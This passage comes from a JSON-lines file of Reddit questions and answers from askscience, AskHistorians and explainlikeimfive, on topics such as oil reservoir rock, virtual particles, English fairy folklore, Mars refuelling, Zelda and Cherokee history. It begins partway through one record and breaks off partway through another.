about vertically and is separated into many different layers.  So there's no big caverns of oil down there.\n\nMore importantly, the rock is porous... about 10-15% of it is microscopic space that can hold oil, kind of the same way pavement looks wet after a rainstorm even though you've completely swept the water away.  You can see an example of rock porosity [here](_URL_0_).  Groundwater often finds its way down into these spaces to replace the oil, and petroleum crews often help it along by injecting water to pressurize it and force the oil out.", "Porosity in rocks is generally what we call 'intergranular'. That is, it is space between individual grains.\n\nmost oil reservoirs are things like sandstones. If you look at them under a microscope they look like this _URL_0_\n\nThat blue stuff is the porosity. It is empty space. *That* is waht gets filled with oil.\n\nSo when you remove the oil the grains are all still in contact with one another. The rock doesn't collapse. There is no big whole or cavern left behind.", "Uhhh....check out what is happening in Oklahoma and Kansas...earthquakes. I've lived in Kansas for 55 years. We NEVER used to have earthquakes. Now we are having and feeling them on a regular basis. If you look at the map there is no denying that the earthquake activity and fracking are related.\n\nSucking oil out of the ground can have negative consequences."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.classzone.com/books/earth_science/terc/content/investigations/es1401/es1401page04.cfm"], ["http://www.edinburghgeolsoc.org/images/r_sites_cra02.jpg"], []]}
{"q_id": "3mp5ck", "title": "I have heard that, despite developing in isolation from each other, Mesoamerican civilizations shared many similarities with those across the Atlantic. What were some of those similarities?", "selftext": "I figured this would be a FAQ but I looked on the FAQ and did not see it.\n\nI'm interested in finding out some of the similarities in culture, expression, and general way of life between \"Old World\" civilizations (Greeks, Romans, Egyptian, Persian, Chinese, etc) and the Mesoamerican civilizations (Aztecs, Mayans, etc).\n\nThanks in advance.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3mp5ck/i_have_heard_that_despite_developing_in_isolation/", "answers": {"a_id": ["cvgzewn", "cvhfqaf"], "score": [7, 5], "text": ["In what respect? In a general sense agricultural states tend to face similar challenges because we are, after all, people and so they often come up with similar solutions. The connection between temporal, political power and divine, religious power is a fairly well known example. I'm happy to expand a bit but I would like to have a clearer idea of what you are looking for.", "There are lots of parallels, from tribute-seeking styles of warfare to state organization, to the establishment of noble and priestly classes.\n\nYou might, on the other hand, be interested in the *differences* between American civilizations and those of Eurasia. \n\nThere's a recent book by historian Peter Watson titled *The Great Divide: Nature and Human Nature in the Old World and the New*, which contends that the presence of domesticated animals caused the two hemispheres to evolve in different directions.\n\nTo put it coarsely, he argues that the difference is one between shepherds and shamans. \n\nIn Eurasia, the presence of large domesticated animals permitted, among other things, the cultivation of cereals using ox-driven plows. It also permitted cultures to make religious sacrifices of animals rather than human beings.\n\nThe Americas, by contrast, were characterized by an ecstatic, shamanistic style of religion that aimed to achieve hallucinatory experiences. Watson argues that this style of religion gave it a particularly strong staying power.\n\nI'm not altogether convinced by Watson's arguments, but if you're curious about these kind of things his book is worth a read. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1b6f64", "title": "Why does the electromagnetic force have infinite range?", "selftext": "In 1st year undergrad uni we just covered a bit of virtual particles and particle physics, and the way I understand it, e.g. the weak force has a finite range because of the uncertainty principle, specifically \u0394E\u0394t > =\u0127/2. As the force-carrying particles have a nonzero mass and therefore according to E=mc^2 a nonzero energy, they can only exist for a finite amount of time and therefore have a finite range.\n\nThe argument is then used that as photons have zero mass, they can exist for an infinite an infinite amount of time without violating the Uncertainty principle. But what I was wondering, was that photons do have energy: while not from mass they do have energy from their momentum according to E^2 = m^(2)c^(4) + p^(2)c^(2). So shouldn't photons also have a limited range over which they can act, as the uncertainty principle has never been observed to be violated?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b6f64/why_does_the_electromagnetic_force_have_infinite/", "answers": {"a_id": ["c941wq9", "c941z00", "c9449oh", "c945796"], "score": [2, 11, 3, 2], "text": ["[This site](_URL_0_) has a good explanation (the \"force carrier\" section). We can make \u0394E arbitrarily small, so \u0394t can be as big as we want it to be.\n\nedit: nevermind, I decided the second part was too confusing and misleading", "You are ignoring relativity in this simplistic explanation.\n\nThe uncertainty principle should hold in any reference frame, correct? So in the reference frame that a weak boson is at rest, its energy is purely related to its mass. In this way, you can understand that the minimum \"time\" the weak boson can exist is based on this reference frame, and then it would get altered in the reference frame that the weak boson is moving due to time dilation effects (minimal in nearly all practical situations).\n\nHowever, there is no rest frame for the photon. At best, you can boost into a reference frame in which the photon energy - >  0 through red shifting. In the limit as we approach that reference frame, you can imagine the energy goes to 0, and therefore the \u0394t - >  inf.\n\nBut I think this is far too literal of an interpretation of the uncertainty principle. None-the-less, it is sufficient for an explanation that I hope makes some sense.", "This is a good way to heuristically teach a high-schooler, but not a physics undergrad. Think carefully about what you wrote in your first paragraph, do you think it makes sense? In other words, why is it that E = mc^2 implies that dt must be finite? That's not even the right sign on the inequality!\n\n\nYou must understand first that virtual particles are not particles at all - meaning that they are off-shell, not obeying the relativistic dispersion relation. If you want to talk about forces as being mediated by virtual particles and why virtual particles are allowed to exist, you need fields!  Read [this](_URL_1_) first.\n\nSecond, forget about this story about the uncertainty principle, it has nothing to do with the reason why massive particles mediate long range interactions. It's easy to understand already classically, and it's all about [solving a differential equation](_URL_0_). ", "Just wanted to add that your interpretation of the energy-time uncertainty principle is incorrect - check out section 3.5.3 in Griffiths's Introduction to Quantum Mechanics for a full explanation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://electron6.phys.utk.edu/phys250/modules/module%206/standard_model.htm"], [], ["http://en.wikipedia.org/wiki/Yukawa_interaction", "http://profmattstrassler.com/articles-and-posts/particle-physics-basics/virtual-particles-what-are-they/"], []]}
{"q_id": "2lu5jc", "title": "why is japan so clean compared to places like the us and mexico?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lu5jc/eli5why_is_japan_so_clean_compared_to_places_like/", "answers": {"a_id": ["cly7jk4"], "score": [3], "text": ["I heard some Asian religions require you to be clean and respect everything around you. \n(It'd be cool if someone were to elaborate on this)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3jfshi", "title": "when I was little my grandmother told me that the ripples on puddles were fairies dancing on the water (rather then in actuality raindrops too fast  &  small to see). I always wondered if that was some old folk thing, or just something she made up?", "selftext": "\n\nI'm English.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jfshi/when_i_was_little_my_grandmother_told_me_that_the/", "answers": {"a_id": ["cuovwcd", "cuoxrud", "cupt1ma"], "score": [5, 3, 2], "text": ["I have not heard of this, which doesn't mean a great deal since folk beliefs can take many different forms, and not all the permutations are recorded. Two observations are appropriate, however: this is in keeping with the English (and especially southern English) beliefs, and secondly, one should never be surprised when individual expressions of creativity employ popular belief while reaching beyond the traditional range of motifs common to the whole.\n\nA third observation is that this idea is a bit on the cute side - and certainly it employs a petite image of the fairies. The idea that fairies are excessively small was at its strongest in the southwest of Britain - in particular in Devon and Cornwall. Because of popular literature from that region, particularly thanks to the pen of [Anna Eliza Bray](_URL_0_) (1789-1883), the image of small cute pixies became commonly known throughout English Victorian society. This caused a secondary tradition to form in England that was often not grounded in local pre-industrial folk tradition, but rather in a literary-based mutation of local beliefs and traditions.", "Hiya!\n\nI am indeed familiar with a tale of the Isle of Wight Ferry, which was known, on particularly ominous and stormy nights, to disappear from its mooring. On these nights, local residents sometimes reported the two hundred and ninety ton ferry splashing merrily in the ponds that would form in the streets.\n\n(I saw that first post! In fact, Reddit nearly ate this write-up because you swapped threads. :P)\n\nMore seriously, after searching through a few books of fairy tales and folklore,^1 ^2 including an 1890 article that was half indecipherable but a great deal of fun, I wasn't able to find any specific description of the story you describe in any of the tales. If you'll permit common sense (there's academia to back it up, promise!), this sounds easily like the sort of tale that a parent might make up for their children.\n\nOf course, although this might have been made up by your grandmother, there's the question of 'why?' What association does English culture hold, so as to make fairies a go-to story and to maintain such a rich folklore history? The answer I found, though certainly far from flawless, comes from Minnie H. Swindells' \"Fairy Tales as Folklore,\"^3 a 1934 discussion of the motives behind fairy tales. The article, though fairly racist, does lay out a few interesting (and entertaining, after my recent binge on *Jonathan Strange and Mr Norrell*) descriptions of why fairies and fairy folklore come to hand so easily even when we have rational explanations for events to which we attribute them. As to why a parent might explain ripples in the water during rain as tiny fairies, or entertain a child with the story of Puss in Boots, Swindells says the following:\n\n >  \"What does it signify? Just this. The desire of the child for a story is but the echo of an instinctive cry that comes from man through the ages; man in the most primitive society; man in the age of barbarism; man in our own era of scientific marvels. Man has always craved 'A story.' \"\n\nSwindells argues from a belief of Civilisation as a progession, and links the appearance of fairy tales to prime-evil/'savage' beliefs. I'm not at all fond of that interpretation, but I do find the following passage both convey's Swindells' argument and also gives a fascinating insight into why fairy tales *continue* to be told, as opposed to why they arose.\n\n >  \"...We shall use the term 'fairy tale' to mean that great number of traditional tales which have been handed down from time immemorial, those tales which were, in a sense, never written, but which simply evolved. Many of them existed first as myths, believed by those producing them as explanations of the phenomena of life and nature evidenced on every hand but little understood by the simple savage mind. These crude beliefs carried over into a higher stage of culture in the peasant lore of the people, were transmitted orally from generation to generation and, while not actually believed, were yet accepted as part of the great mass of superstitions which characterized the thought of the peasant class. From this source they became the literary heritage of the race when a written literature became possible.\"\n\nIf you strip away a great deal of racism and class-ism, I actually quite like the point being made here - though I'm skeptical of the idea that our ancestors would ever truly believe that, for instance, ripples in a rainstorm would be the activities of fairies, I find a lot of credence in the statement that they continued to be shared not because they are believed, but because they are a tradition - and as a result become become further ingrained in cultural heritage. Swindells argues - with more complicated stories than yours in mind - that fairy tales continue to be of interest because \"[fairy tales] contain elements which are survivals of primitive beliefs and practices of our far away ancestors and which reflect accurately their tribal rituals, customs, and organisations.\" Personally, I prefer to believe that we love them and share them for no more complicated reason than 'Man has always craved a story.' \n\nA big thank-you to /u/itsallfolklore for helping out with this post, which is outside my usual element! :)\n\nSources:\n\n1. Briggs, K. M \"The English Faries,\" *Folklore*\n68, No. 1 (Mar., 1957), pp. 270-287\n2. A. W. T. and M. C. B, \"English and Scotch Fairy Tales\" *Folklore*\n1, No. 3 (Sep., 1890), pp. 289-312\n3. Swindells, Minnie H. \"Fairy Tales as Folklore.\" *The Elementary English Review* 11, No. 1 (Jan., 1934), pp. 5-8, 30", "Perhaps you can let us know the county where your grandmother was born - and the year of her birth would be of interest as well. Thanks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.victorianweb.org/authors/bray/bio.html"], [], []]}
{"q_id": "1lffog", "title": "AskScience has a new look!", "selftext": "Little tweaks to the old page became unworkable, so we decided a few months ago that it was time for a complete redesign.  The AskScience moderator team would like to give a huge thanks to /u/ggitaliano who was willing to take on this very important task.  Our new page is a huge improvement over our old look!  He has done a fantastic job and put a ton of time, work, and effort into everything you see here.\n\nHow do you like the new look?  Are there compatibility issues with viewing this page? Please post a comment here so ggitaliano can come up with a fix. There may be some issues with Internet Explorer, but nothing that would affect useability.  For RES users, please make sure that you have the most up to date version in your respective browsers.  As an added bonus, there is a non-RES nightmode theme option included that you can toggle at the bottom of the sidebar.  If you run into any issues with this, please let us know.\n\nEnjoy the new AskScience look. Please leave feedback here, we would love to hear what everyone thinks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lffog/askscience_has_a_new_look/", "answers": {"a_id": ["cbyonk9", "cbyor89", "cbyorm4", "cbyotmh", "cbyp2y0", "cbyp54w", "cbyp5qd", "cbyp8oy", "cbypbzd", "cbypjl6", "cbypk2p", "cbyppkv", "cbypvfg", "cbypyks", "cbyqcms", "cbyr2t7", "cbyrlmn", "cbys5qj", "cbytxj1", "cbytzj4", "cbyu0r6", "cbyucky", "cbyusvh", "cbyvcgk", "cbyvmkr", "cbyvmtp", "cbyvt9b", "cbyvzwt", "cbywdy0", "cbyxjig", "cbyxpct", "cbyxrzs", "cbyxspv", "cbyy38c", "cbyy4br", "cbyyc4c", "cbyyd45", "cbyykzg", "cbyylt7", "cbyyw8r", "cbz0fxr", "cbz0iho", "cbz260c", "cbz44dp", "cbz457r", "cbz4rsb", "cbz8u9e", "cbzioeo", "cbzs7wf", "cc04bu0", "cc089yp", "cc09paa", "cc0cfgi", "cc0e3x2"], "score": [107, 12, 11, 18, 6, 3, 13, 93, 11, 6, 3, 10, 6, 6, 2, 5, 4, 2, 3, 5, 3, 3, 24, 4, 3, 12, 3, 4, 4, 3, 3, 3, 3, 3, 6, 3, 3, 3, 4, 3, 3, 3, 3, 3, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2], "text": ["Wow, this is actually really beautiful, and usually I hate website design changes.", "The bird scares me.", "Quite cool, especially the banners. ", "The banners look great!  The labels on the sidebar look much better, too.  The whole thing is much cleaner.  Nice job.", "It looks great! Looks very current, very stylish and very clear.\n\nOne of if not the most beautiful subreddits I've seen.", "Having the header links at the top centered (both horizontally and vertically) is a bit awkward. You should try to keep things consistent with the default look (i.e. header links at the bottom left), since that's where users will go to first when looking for things.", "I'm so excited, this is the first time I've been really really really excited to give reddit gold. Big big applause for ggitaliano's efforts!\n\n_URL_0_\n\n", "[Here's an imgur album with all the banners in case you want to take a peek.](_URL_0_)", "Heaps and heaps of thanks upon /u/ggitalino for making us into the best-looking subreddit.  It looks so good I'm almost afraid to touch it.", "Huh. I keep seeing that image all over the place today. Edit: It was [this picture](_URL_0_)\n\nFirst [I posted a pic](_URL_1_) of a tattoo this morning. Then I saw it in the header of /r/physicsgifs. Now here!", "I like the new look. The Randomized background image for the header graphic will take some getting used to, but everything else look great! There are tons of polishing everywhere if you pay attention, it isn't just the header that have changed. I love the attention to the detail in just about every corner and every divs.\n\nThe only real complain I have is that it is not standardized with the rest of the Reddit where banner is at the center instead of the top left corner. Still, that is not a huge issue.\n\nGreat work so far! ", "For a moment I though this was /r/geology from the Grand Canyon banner!\n\nThe format of the pages are more crisp and clean. I appreciate the work and /r/askscience now looks incredible!\n\nGreat work! I love it!", "I love the \"report to mods\" button. Will definitely put that to use in other subs. Great work guys!", "This is a really nice facelift. Great work! The hover text over the icons and buttons are an awesome addition", "I like the new look! The rotating header image is kind of weird, because of the stylistic clash that results with the rest of the subreddit, but otherwise very nice and clean.", "This is so pretty:)\n\nThanks /u/ggitaliano!\n\n-Edited to give proper credit-", "Layout looks amazing, great job! if only the front page of Reddit looked this good.", "Looks really good!", "Love the lightbulb and question mark voting \"arrows\" (can't think of a better term at the moment). This is a beautiful redesign!", "Maybe the \"Please keep discussion\" and \"Save time with repeat questions\" should be expanded by default. They don't take up too much room, and I think if they are closed by default, people aren't likely to look there.\n\nEdit: same with the other two click to expand subreddit lists", "I think this is a design Reddit should follow as a whole, it makes reddit stand out! Good job guys!", "It looks really good. Nice job, guys.", "Maybe tone down the red on the report to mods. It sticks out too much for me and distracts from the text/comments. Very nice work apart from that! Thanks!", "very nice!\n\nedit: you're missing a \"no filter\" button", "It looks great and makes the content more readable. Thanks /u/ggitaliano for the time and effort you put into this!", "Looks great!\n\nI am seeing a bit of weirdness in the Filter by Field buttons, but it could be just me.\n\nArch Linux x64, 1366x768.\n\n_URL_0_", "like it quite a bit. \n\nwell done ", "Beautiful work /u/ggitaliano ! It's a very clean style, something that the reddit admins should make default, if you're willing!", "Big improvement.\n\n+/u/bitcointip @ggitaliano $3.", "Looks fantastic.  Great color palette, nice modern feel and overall easy on the eyes.  Not very often that you can switch to a new UI that feels natural the first time you see it.  My only suggestion is the font color difference between read and unread links.  I love the minimalistic colors, and it's not that I'm completely oblivious to the dark vs. gray difference, but it's just slightly too close that if I'm quickly browsing through the list it's not immediately apparent if I read it or not.", "Excellent work, it looks great! I'll definitely be stealing some ideas for /r/AskHistorians", "Holy shit you guys, you did a fantastic job!\n\nThank you, mods, for always leading by example, and ggitaliano, for your talent and hard work!", "Mmh. Curious, the banner doesn't show when I use the Dark/Night mode in RES. But it works in \"Day\" mode. Any tips? I use FF. Thanks for the good work and the new layout!\n", "Very nice, I like it.  Congratulations to the chef.", "Hey there, this is fantastic! My only comment (as someone who writes professionally) is that the one-sentence descriptor of the subreddit sounds a little stilted, wordy and overly formal. Since the aim of this place is to make science more accessible for a general audience, it is sub-optimal. \n\nHow about this slight reword:\n\n > AskScience is a forum for answering science questions. It aims to promote scientific literacy by helping people understand the scientific process and what it can achieve.\n\n\n", "Simple yet appealing to the eye, and easy to read. Excellent work. ", "I just took a look with res off, and the comment borders for the bluest comments look a bit off.", "Looks really good! The only little thing is the alien looks weird in the upper left, but not sure if there's anything you can do about that. I'll take it to keep the new banners, though!", "I love the way the human brain works. The PCB banner has solder joints that trick my mind into thinking that several muppet monsters are [gazing out at me.](_URL_0_)", "I forget reddit is a website and not just an Alienblue app. ", "Oh that font  < 3 This is some high-quality reddit.", "Love the new look and the rotating background pix!\n\nMight check out how the pix fit with the non-rotating elements though: I was thrilled to see an old plate of the Darwin finches pop up (just *love* those old 19th century engravings), but then noticed the flame from Snoos bunsen going into a finches eye; ow. ", "Wow! Looks amazing!", "The banner is a little bright for night-mode, but I can live with it.  Subreddit CSS turned back on.", "For me the font for post titles is hard to read.", "Pretty awesome, i love it.\n\nThe only thing i'd suggest, not really a bug or anything, but for meta posts like this the banner should be the composite one that logged out users see.", "Reminds me of a more bridge-oriented Breaking Bad. ", "Very classy. Thank you to all who worked on it.", "I really like this. Great work to whoever made this!", "From what I've seen, the redesign is gorgeous. Very well done.\n\nThere are only three things that I've seen that could stand to be improved, and I'm not entirely sure they need fixing.\n\nThe first is the chemistry banner, which seem a bit loud and flamboyant for this sub and when compared to the other banners. When I first saw it, I was slightly worried that I had accidentally gone to a different sub.\n\nThe second is the reddit logo which can get a bit lost on some of the banners and seems a bit odd floating out there on it' own. I can think of three ways to fix that.\n\n1. Put it in it's own section on the far left and have the banner start at the edge of the section.\n1. Put it in a small box like the the letters that make up AskScience.\n1. Put it in a column that interrupts the banner (basically a combination of  one and two). \n\nWith both 2 and 3, you could probably get away with making the box or column translucent, though that would likely work better with three as two would fit better with the title as a solid box. I could do mock-up for each of those if you would like.\n\nThe final problem is that if you click out of the comment box, after typing something, the initial warnings reappear amongst your text. They aren't actually part of the text and they disappear once you click inside the box again, so they don't mess anything up in the long run, but they make things look extremely cluttered while they are their.", "The confusion when I popped in last night. Jiiiiiiiiiisus. But once the initial WTF moment had passed by I though it was very nice. ", "thanks /u/ggitaliano, the icons I made look great now :))", "I really like the banner. It looks really nice.", "Wow, this is actually very good. It does a great job of walking the line between being reddit-like and being polished / organized / attractive. Just a few things you could tweak:\n\n- Clicking the \"F\" in \"FRONT\" in the subreddit bar along the top activates \"MY SUBREDDITS\", not \"FRONT\". This is due to the previous element having \"padding-right: 10px; margin-right: -10px;\", which I'm not really sure the purpose of.\n- Clicking on the comment box, typing something, then deselecting it will make the placeholder show up over the normal text. I can't think of a way to fix this one without changing the HTML - but if you can (and want to) convince the admins to change the HTML, you could give the textarea \"required\" (which shouldn't have negative side-effects), then select its empty/changed states with :invalid and :valid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://ssl.reddit.com/gold?goldtype=gift&amp;recipient=ggitaliano"], ["http://imgur.com/a/AsHJG"], [], ["http://www.naturphilosophie.co.uk/wp-content/uploads/2013/01/Bubble-chamber.jpg", "http://www.reddit.com/r/geek/comments/1lep57/bubble_chamber_tattoo/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/dHBQpqR.png"], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/QjZjDDc.png"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "37347m", "title": "why can't we send fuel to mars for a return journey.", "selftext": "Excuse my basic knowledge of space travel. From what I understand one of the biggest issues of heading to Mars is the return journey. So why couldn't we send fuel to Mars ahead of time so we can refuel the ship for a return journey?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37347m/eli5_why_cant_we_send_fuel_to_mars_for_a_return/", "answers": {"a_id": ["crj9qik", "crj9s9a", "crj9xg7", "crjbd4l", "crjkyap"], "score": [3, 45, 44, 7, 2], "text": ["Fuel is weight and a lot of it. To send a rocket to Mars with enough fuel to get to Mars and back, it will have too much mass to lift off.", "This is known as the Rocket Problem. You have to carry all the fuel you will need and it means that your craft will get very heavy very very fast.\n\nWe simply can't get the return fuel there, if we could the problem wouldn't exist in the first place. If we could send them on one mission then send the fuel on another we could just send it with them on the first.\nIf you want a good idea about this you should check out the game Kerbal Space Program, it's a rocket simulator and you will learn very quickly just how much of a pain in the ass the Rocket Problem is. \n", "The most common types of rockets have a payload fraction of 0.95-0.97. ^[Source](_URL_0_)\n\nThat means 95-97% of their liftoff mass is needed to bring them into low earth orbit. \n\nThus, if you wanted to bring a significant portion of fuel into space, the liftoff mass of your rocket would have to increase tenfold for every kg of fuel you want to bring into low earth orbit. The ratio is even worse for an actual trip to Mars. \n\nAs you can see, rockets get crazy heavy as soon as you want them to carry cargo, which means they need even more fuel to lift off which makes them even heavier and so on.\n\nThat is actually a fundamental problem in space travel.", "We can - sort of.  Check out [Mars Direct.](_URL_0_)\n\nThe idea is to send the equipment to manufacture fuel to Mars in advance, and give it time to make that fuel.\n\nThat way, when the astronauts arrive, they have a working gas station to fuel up at and can make it home.", "Why don't we change how we send the rocket into space? Instead of a straight shot from Earth up, why don't we piggyback it on a large jet plane or several? I mean, it seems like a lot of work to send it straight up. Why don't we gradually send it up with another vehicles fuel and power that will stay here on earth and once it gets high enough/fast enough then the rocket can light up and go the rest of the way into space conserving most of its fuel? I don't know if this is stupid and won't work but I thought it sounded smart."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Payload_fraction"], ["http://en.wikipedia.org/wiki/Mars_Direct"], []]}
{"q_id": "vivlu", "title": "How fast would you have to travel in a car with your arm out the window before your arm got ripped off?", "selftext": "Person with the average arm, how fast would the car have to travel before the air pressure actually rips your arm off?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vivlu/how_fast_would_you_have_to_travel_in_a_car_with/", "answers": {"a_id": ["c54vn5m"], "score": [2], "text": ["So many variables.\n\n* Body shape \n* weight distribution. \n* What kind of force? Gradually speeding up? or Suddenly putting his arm out the window at already high speed?\n* What socket do you want the arm to rip off at?\n\nRecently there was a international Tug-o-War competition where a rope that was rated at 26,000kg snapped, and the rebounding force severed 2 arms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2oj4nw", "title": "why legend of zelda: ocarina of time is called \"the greatest game of all time\"", "selftext": "Please try to be objective. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2oj4nw/eli5_why_legend_of_zelda_ocarina_of_time_is/", "answers": {"a_id": ["cmnmg9o", "cmnmpuj", "cmnppa3", "cmnq5xl"], "score": [4, 2, 2, 2], "text": ["Awesome Master Sword, time travel, zombies, cool ocarina songs, seeing yourself grow up, horse riding, epic battles, having your own fairy, using a grappling hook, epic shielding of things, horse carrots, fishing, the Goron race, nostalgia, and fucking with chickens.  ", "The story was amazing, the controls were very good for a open world 3d game, and the combat system was intuitive. I have played it emulated and it hasn't lost it's luster. \n\n\nThis review from Gamespot is better then anything I can hammer out.\n\n_URL_0_", "First off, its important to understand that \"the greatest game of all time\" is completely subjective and a large amount of people disagree that OoT holds that position (some even argue that Majora's Mask is better).  The reasons people WOULD hold that position are:\n\n1. Great gameplay.  The entire idea of Z-targeting was fairly new i think, so it was a cool way to transition to 3D and make fighting viable and less clunky.  It also maintained the \"Zelda feel\" with the items and temples.\n\n2. Well made story and lore.  Compared to Twilight Princess or even Windwaker, Ocarina's story isn't involved at all, but compared to what came before it was in depth.  There is a lot of lore about all of the races that are interesting, and the time travel aspects are interesting and drive the plot to places you wouldn't expect from a normal adventure game.\n\n3. Change to 3D.  Realize that there were only 3 Zelda games out before Ocarina, all in 2D.  The fact that their first 3D was so successful and well made is pretty impressive.  Note that all 3D Zelda games (other than Skyward Sword in a couple places) use the same formula and gameplay as Ocarina of Time, and are all successful.  Without Ocarina those games wouldn't have existed, or have been completely different at least.\n\n5. Music.  While it doesn't seem like music is really that important in the grand scheme of things, OoT did something unique: they tied in music with gameplay.  All of the songs in OoT actually have an attached meaning to memories of the game, and the fact you replay songs over and over get them stuck in your thoughts.  Its a unique thing that video games can accomplish but isn't necessarily used.  It makes the game more memorable and meaningful.  Every time you play Zelda's Lullaby is a reminder to the player about what's at stake and your promise to the princess, every teleporting song sets the mood for the place you're going to, etc etc.  You could probably write an entire paper just on this topic alone.\n\n4. Nostalgia.  Personal experience is important in value arguments, and a lot of people will view what they played in their childhood as better than whats out now.  This doesn't mean that Ocarina of Time is a bad game or is worse than all of the other Zelda games, its just a factor that plays into people's opinions.\n\nPersonally I think its all of that, plus the uniqueness of Zelda games in general.  They play like a fairy tale and appeal to the inner kid.  Its hard to sit down with a Zelda game and not feel happy just because the tone of the games are so adventurous and exciting.  Not many games can nail that as well as Zelda has.  There is no definitive \"Greatest Game of All Time\", just like there is no equivalent for movies or books, but I would say there is enough reason to consider it at least in the top 10 or 20.\n\nTLDR; Ocarina of Time has a surprisingly immersive world and fluid gameplay, all built during the initial transition to 3D, which makes its success very impressive.", "The ELI5 answer is because many people played the game and found it to be their favorite.\n\nThat answer is perhaps a bit to pithy, though, and so I'll go with a slightly different version.  This requires that I start with two assumptions.  First, that the OP does not agree with this ranking and second that the OP did not play it when it first arrived nearly two decades ago.\n\nMaking a list of best games is a trying task.  In 30 years, we've gone from Super Mario Brothers to Far Cry 4 and on every level modern games have improved.  They have more complex graphics, more focus on a wider variety of facets including narrative and mechanics and generally are the result of decades of advancement and decades of trial and error.  Thus your average game released now represents improvements in most of not all areas when compared to a game from decades past.  So, why is it that the top lists of games isn't absolutely dominated by brand new stuff?  For the same reason the list of top movies is not dominated by films made in the last few years.  You don't compare a modern movie to an ancient movie directly - the only thing that would achieve is seeing how film has changed and you don't compare a modern game to an ancient one directly either.  Instead, they are viewed relative to the time in which they existed.\n\nWhen Ocarina of Time came out, it was easily the best Zelda game.  At the time, it had a striking and beautiful art style, well thought out mechanics, a greater focus on story and was simply vastly superior to just about everything else at the time.  This made for a game that was instantly beloved by just about everyone who played it and it earned this by being a game so far ahead of its peers that the formula has remained all but identical ever since.\n\nThus the ELI5 answer is that many people think that relative contemporary stuff, Ocarina of Time is the best game.\n\nWe can look at this a different way though by looking at a different game.  Consider the classic PC game Baldur's Gate 2: Shadows of Amn and compare it to Dragon Age: Origins.  There are many broad similarities between the two and, as you might expect, Dragon Age shows broad refinement at every level.  And yet Baldur's Gate generally is placed above Dragon Age because, at the time, Baldur's Gate 2's real competition was Baldur's Gate 1.  Thus while Baldur's Gate 2 is inferior when directly compared to Dragon Age, in context it is quite the opposite.  In the decade after Baldur's Gate 2, lots of RPGs came and went that all learned important lessons from Baldur's gate and so Dragon Age is much less remarkable than it's spiritual predecessor.  \n\nMuch like the first movie with audiable dialog is hugely fascinating because it was something new and exciting games are often remembered fondly when *they* drag the medium forward.  Ocarina of Time was a game that did more than drag the medium forward - it picked it up and ran and *that* is why the game is fondly remembered.  The problem with this, of course, is that without experiencing the thing in context, you can really only understand such a thing academically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.gamespot.com/reviews/legend-of-zelda-ocarina-of-time-the-review/1900-2543677/"], [], []]}
{"q_id": "4cceo0", "title": "What was Cherokee culture like before the Trail of Tears? How \"Americanized\" was the average Cherokee?", "selftext": "I was fairly surprised to find out about how Americanized some Cherokees had become during the early 1800s, and looking at New Echota, it's clear that all Cherokees didn't live in tipis.  But how common was this?  Were there distinct \"classes\" like urban and rural/house and tipi?  Additionally, I know that farming, plantations, and slaves had been adopted--was there a similar division?  Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cceo0/what_was_cherokee_culture_like_before_the_trail/", "answers": {"a_id": ["d1heqg1"], "score": [77], "text": [" >  it's clear that all Cherokees didn't live in tipis.\n\nTo begin with, no one in the Cherokee Nation lived in tipis. Not at the time of Removal, and not before. Tipis are a feature in Plains architecture. While there are some analogues east of the Mississippi, they're few and far between, mostly concentrated in the areas adjacent to the Plains to the west and the Subarctic to the north. For the Cherokee, at the time of European contact, a family typically had two houses - one for winter and one for summer. The winter house was circular, usually about 10 feet in diameter but could be larger or smaller, with a domed or conical roof and thick daub walls. It was designed to trap heat - a task it did so well that Euroamericans who stayed in such houses complained that it was too hot for their clothes even during the coldest days of winter. The summer house was square or rectangular, 10-20 feet on a side, with high thatched roofs. \n\nThese were paired off within a village in the early colonial period, but through the 1700s, Cherokee villages became more dispersed and more and more people opted for single family homesteads. By the 1800s, homesteading was the norm. The winter house also became less common, entirely disappearing from many parts of the Cherokee Nation, as log cabins became the dominant type of housing for the Cherokee. \n\n >   I know that farming [...] had been adopted\n\nFarming was part of Cherokee life long before Europeans showed up in the Americas. The extent of Cherokee farmland actually shrunk during the 1700s with the dispersal of the towns. When people lived in towns, they could pull their resources and labor, especially when planting and harvesting. But has homesteading became more common, all the labor fell on a smaller number of individuals. Specifically women, since farming (and maintenance of a family's property in general) was considered under their authority. \n\nCherokee men during this period preferred to stay out of agriculture, though the introduction of European livestock created an interesting dilemma. Who should own these animals? Was it an extension of hunting and therefore a predominantly (but not exclusively) male activity? Or was it an extension of agriculture and therefore a predominantly (but not exclusively) female activity? Of course, as far as Euroamericans were concerned, both agriculture and animal husbandry were male activities and if Cherokee women wanted to be good Christian housewives, they should be busying themselves with cooking and sewing. Needless to say, Cherokee women weren't terribly keen on giving up their economic power to be shackled to a kitchen.\n\nMen were to pleased with being forced out of their own economic sphere of influence and onto the fields either. Many men, of course, did take up the plow themselves, but others preferred different means of 